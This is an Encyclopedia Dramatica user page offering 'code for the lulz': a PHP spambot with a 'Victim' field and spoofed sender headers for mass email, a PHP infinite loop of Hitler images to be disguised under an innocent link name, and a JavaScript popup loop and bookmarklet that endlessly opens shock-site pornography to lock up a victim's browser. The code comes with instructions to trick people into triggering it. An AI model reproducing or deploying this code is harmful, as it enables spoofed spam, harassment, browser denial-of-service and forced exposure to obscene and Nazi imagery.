User:Kool2/code: Difference between revisions

From Encyclopedia Dramatica
Jump to navigationJump to search
imported>Kool2
imported>Kool2
 
(No difference)

Latest revision as of 13:00, 24 October 2011

Here is some code for the lulz:

Spambot

<?php
   $spam= $_POST["spams"]; 
// define number of spam cycles

   $iloled = $_POST["message"];
// this is the message

   $email = $_POST["email"];
// define recipient

   $rofl = $_POST["body"];
// your message

   function head() {
      $sender = $_POST["sender"];
      $header = 'MIME-Version: 1.0 \r\n
   Content-type: text/html; charset=iso-8859-1 \r\n
   From: <' . $sender . '>';

      return($header);
   }
// spoofed header. i found it easier to write it this way.

   if(isset($_POST["email"])) {
      for($i = 1; $i <= $spam; $i++){

         for($ii = 0; $ii <= $_POST["spams"]; $ii++){

            mail($_POST["email"], $iloled,$rofl,head());

         } // (the second for loop) defines one cycle

         echo("Done $i loops of $spam
"); //we're done
 
      }
   echo("Complete."); 
   }
   else {
 /* if the form isn't filled out show it. also, mess around with this  part any way you like. */
?>

<h1>send anon mail</h1>
You can send anon mail this way.
<form method="post" action="">
   Victim: <input type="text" size="28" name="email">

   Message title: <input type="text" size="28"
name="message">

   Sender (spoof it): <input type="text" size="28"
name="sender">

   Message body: <textarea name="body" cols="28"
rows="5"></textarea>

   Sum answer (sum 9 + 1): <input type="text" size="28"
name="spams" value="10">

   Age (because the mail needs to be dated (default 10):<input type="text" size="28"
name="cycles" value="10">

<input type="image" src="post.jpg">
</form>

<?php 
}
?>

Make sure post.jpg is a smiley face. Great for tricking people into spamming!

Fifty Hitler Post Infinitely in PHP

<?php
$fucku = 17;
while($fucku == 17){
//Post
?>
<img src="http://www.historyguide.org/images/hitler.jpg" alt="Heil!" /> 
<img src="http://www.historyguide.org/images/hitler.jpg" alt="Heil!" /> 
<img src="http://www.historyguide.org/images/hitler.jpg" alt="Heil!" /> 
<img src="http://www.historyguide.org/images/hitler.jpg" alt="Heil!" /> 
<img src="http://www.historyguide.org/images/hitler.jpg" alt="Heil!" /> 
<img src="http://www.historyguide.org/images/hitler.jpg" alt="Heil!" /> 
<img src="http://www.historyguide.org/images/hitler.jpg" alt="Heil!" /> 
<img src="http://www.historyguide.org/images/hitler.jpg" alt="Heil!" /> 
<img src="http://www.historyguide.org/images/hitler.jpg" alt="Heil!" /> 
<img src="http://www.historyguide.org/images/hitler.jpg" alt="Heil!" /> 
<img src="http://www.historyguide.org/images/hitler.jpg" alt="Heil!" /> 
<img src="http://www.historyguide.org/images/hitler.jpg" alt="Heil!" /> 
<img src="http://www.historyguide.org/images/hitler.jpg" alt="Heil!" /> 
<img src="http://www.historyguide.org/images/hitler.jpg" alt="Heil!" /> 
<img src="http://www.historyguide.org/images/hitler.jpg" alt="Heil!" /> 
<img src="http://www.historyguide.org/images/hitler.jpg" alt="Heil!" /> 
<img src="http://www.historyguide.org/images/hitler.jpg" alt="Heil!" /> 
<img src="http://www.historyguide.org/images/hitler.jpg" alt="Heil!" /> 
<img src="http://www.historyguide.org/images/hitler.jpg" alt="Heil!" /> 
<img src="http://www.historyguide.org/images/hitler.jpg" alt="Heil!" /> 
<img src="http://www.historyguide.org/images/hitler.jpg" alt="Heil!" /> 
<img src="http://www.historyguide.org/images/hitler.jpg" alt="Heil!" /> 
<img src="http://www.historyguide.org/images/hitler.jpg" alt="Heil!" /> 
<img src="http://www.historyguide.org/images/hitler.jpg" alt="Heil!" /> 
<img src="http://www.historyguide.org/images/hitler.jpg" alt="Heil!" /> 
<img src="http://www.historyguide.org/images/hitler.jpg" alt="Heil!" /> 
<img src="http://www.historyguide.org/images/hitler.jpg" alt="Heil!" /> 
<img src="http://www.historyguide.org/images/hitler.jpg" alt="Heil!" /> 
<img src="http://www.historyguide.org/images/hitler.jpg" alt="Heil!" /> 
<img src="http://www.historyguide.org/images/hitler.jpg" alt="Heil!" /> 
<img src="http://www.historyguide.org/images/hitler.jpg" alt="Heil!" /> 
<img src="http://www.historyguide.org/images/hitler.jpg" alt="Heil!" /> 
<img src="http://www.historyguide.org/images/hitler.jpg" alt="Heil!" /> 
<img src="http://www.historyguide.org/images/hitler.jpg" alt="Heil!" /> 
<img src="http://www.historyguide.org/images/hitler.jpg" alt="Heil!" /> 
<img src="http://www.historyguide.org/images/hitler.jpg" alt="Heil!" /> 
<img src="http://www.historyguide.org/images/hitler.jpg" alt="Heil!" /> 
<img src="http://www.historyguide.org/images/hitler.jpg" alt="Heil!" /> 
<img src="http://www.historyguide.org/images/hitler.jpg" alt="Heil!" /> 
<img src="http://www.historyguide.org/images/hitler.jpg" alt="Heil!" /> 
<img src="http://www.historyguide.org/images/hitler.jpg" alt="Heil!" /> 
<img src="http://www.historyguide.org/images/hitler.jpg" alt="Heil!" /> 
<img src="http://www.historyguide.org/images/hitler.jpg" alt="Heil!" /> 
<img src="http://www.historyguide.org/images/hitler.jpg" alt="Heil!" /> 
<img src="http://www.historyguide.org/images/hitler.jpg" alt="Heil!" /> 
<img src="http://www.historyguide.org/images/hitler.jpg" alt="Heil!" /> 
<img src="http://www.historyguide.org/images/hitler.jpg" alt="Heil!" /> 
<img src="http://www.historyguide.org/images/hitler.jpg" alt="Heil!" /> 
<img src="http://www.historyguide.org/images/hitler.jpg" alt="Heil!" /> 
<img src="http://www.historyguide.org/images/hitler.jpg" alt="Heil!" />
<?php
}
?>

Save as innocent name, link and enjoy the lulz.

What this is for

Something more creative

<script language="javascript" type="text/javascript">
<!--
function shock(url) {
	newwindow=window.open(url,'name','height=390,width=120');
	if (window.focus) {newwindow.focus()}
	return false;
}

while (true) {
shock("http://images.encyclopediadramatica.com/images/d/db/Lemonparty.jpg");
shock("http://www.hai2u.com/HotBlowjob.jpg");
shock("http://images.encyclopediadramatica.com/images/5/5d/Hello.jpg");
shock("http://images.encyclopediadramatica.com/images/9/98/Tubgirl.jpg");
shock("http://www.meatspin.com/");
shock("self");
}

// -->
</script>

That is a popup of the Power 5 that you cannot close - even when you press Close, it cannot close! You have to shut your PC down to get rid of it! Replace the 'self' with the URL of the document you put this code into and it creates endless Goatses that your PC cannot handle.

When To Use the Java Script

  • In your blog or website.
  • In a link, example:
javascript:function shock(url) {
	newwindow=window.open(url,'name','height=390,width=120');
	if (window.focus) {newwindow.focus()}
	return false;
}

while (true) {
shock("http://images.encyclopediadramatica.com/images/d/db/Lemonparty.jpg");
shock("http://www.hai2u.com/HotBlowjob.jpg");
shock("http://images.encyclopediadramatica.com/images/5/5d/Hello.jpg");
shock("http://images.encyclopediadramatica.com/images/9/98/Tubgirl.jpg");
shock("http://www.meatspin.com/");
}

I ommited the 'self' property, because you have to specify 'self' manually.